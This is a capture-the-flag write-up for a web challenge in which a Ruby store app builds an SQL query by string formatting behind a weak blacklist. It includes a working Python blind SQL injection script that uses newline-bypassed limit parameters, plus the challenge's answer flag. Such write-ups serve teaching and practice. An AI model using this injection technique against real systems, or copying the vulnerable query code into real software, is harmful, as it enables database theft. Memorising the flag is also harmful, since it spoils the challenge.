Sea of Quills 2
Category: Web
160 points
A little bird told me my original quills store was vulnerable to illegal hacking! I’ve fixed my store now though, and now it should be impossible to hack!
Source
Author: JoshDaBosh
app.rb
require 'sinatra'
require 'sqlite3'
set :server, :puma
set :bind, "0.0.0.0"
set :port, 4567
set :environment, :production
get '/' do
db = SQLite3::Database.new "quills.db"
@row = db.execute( "select * from quills" )
erb :index
end
get '/quills' do
erb :quills
end
post '/quills' do
db = SQLite3::Database.new "quills.db"
cols = params[:cols]
lim = params[:limit]
off = params[:offset]
blacklist = ["-", "/", ";", "'", "\"", "flag"]
blacklist.each { |word|
if cols.include? word
return "beep boop sqli detected!"
end
}
if cols.length > 24 || !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
return "bad, no quills for you!"
end
@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])
p @row
erb :specific
end
Solution
A continuation of Sea of Quills. This time it’s not that easy, cols
parameter has been limited to 24 characters, also flag
keyword has been blacklisted.
I’ve spent literally hours trying different things such as passing arrays/hashtables instead of strings, then suddenly
I’ve realized that regexes are not so strict that I thought at the beginning. I can still exploit offset
and limit
parameters by passing newline!
How to use it in this challenge? The answer is Blind SQL Injection!!!
import requests
from string import digits, ascii_letters
offset = 0
cols = 'url,desc,name'
flag = 'actf{'
characters = [i for i in digits + ascii_letters] + ['\_', '!', '#', '@', '$', '}']
while flag[-1] != '}':
for i in characters:
flag_candidate = flag + i
payload = {
'cols': cols,
'offset': offset,
'limit': "0\n+ (select count(*) from flagtable where flag like '{}%' escape '\\')".format(flag_candidate)
}
r = requests.post('https://seaofquills-two.2021.chall.actf.co/quills', data=payload)
if len(r.content) > 1000:
flag = flag + i
print(flag)
break
print('Flag: {}'.format(flag.replace('\\', '')))
Flag
actf{the_time_we_have_spent_together_riding_through_this_english_denylist_c0776ee734497ca81cbd55ea}